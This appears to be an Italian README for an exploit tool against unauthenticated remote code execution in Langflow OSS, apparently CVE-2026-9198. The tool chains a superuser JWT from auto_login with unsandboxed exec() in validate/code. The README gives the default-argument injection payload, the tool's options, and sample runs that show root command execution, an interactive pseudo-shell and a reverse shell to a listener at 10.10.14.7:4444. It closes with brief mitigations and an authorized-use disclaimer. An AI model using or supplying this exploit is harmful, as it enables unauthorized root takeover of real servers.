
Exploit RCE non autenticato per Langflow OSS che combina il bypass JWT auto_login con validate/code exec() per ottenere esecuzione di comandi remota e reverse shell.
Esecuzione di codice in remoto non autenticata in IBM Langflow OSS (1.0.0 – 1.10.0) in un'installazione predefinita. Combina due vulnerabilità:
GET /api/v1/auto_login emette un JWT SUPERUSER a qualsiasi
chiamante senza credenziali quando AUTO_LOGIN è abilitato (impostazione predefinita
in Langflow < 1.5).POST /api/v1/validate/code passa Python fornito dall'utente a
exec() senza sandbox.Insieme (CVE-2026-9198), un attaccante non autenticato ottiene l'esecuzione di
codice come utente del servizio Langflow — che spesso è root.
Richiede un bearer token superuser da /api/v1/auto_login (senza autenticazione).
Invia un payload a /api/v1/validate/code. L'endpoint esegue il codice tramite
exec() per "validarlo"; Python valuta i valori degli argomenti predefiniti al
momento della definizione, quindi il payload viene inserito in un argomento
predefinito di una funzione:
def _v(a=exec('<payload>')): pass
Per l'esecuzione dei comandi, il payload solleva un'eccezione il cui messaggio è
l'output del comando, che l'endpoint restituisce nella risposta
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install necessario)AUTO_LOGIN è abilitato (impostazione predefinita per Langflow
< 1.5; su >= 1.5 deve essere impostato esplicitamente LANGFLOW_AUTO_LOGIN=true).
Se auto_login non restituisce alcun token, il target non è sfruttabile tramite
questa via — fornisci un token valido con -k se ne hai uno.function.errors[]; stderr
viene unito a stdout, così i comandi che falliscono mostrano comunque il loro errore.root (comune con un semplice langflow run sotto systemd/Docker-as-root), è
direttamente root dell'host.validate/code non deve eseguire
exec() su input non attendibili e auto_login non deve emettere token superuser.LANGFLOW_AUTO_LOGIN=false e configura credenziali superuser reali.root.Questo progetto è pubblicato esclusivamente per test di sicurezza autorizzati e scopi educativi. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai il permesso esplicito di testare. L'autore non si assume alcuna responsabilità per un uso improprio.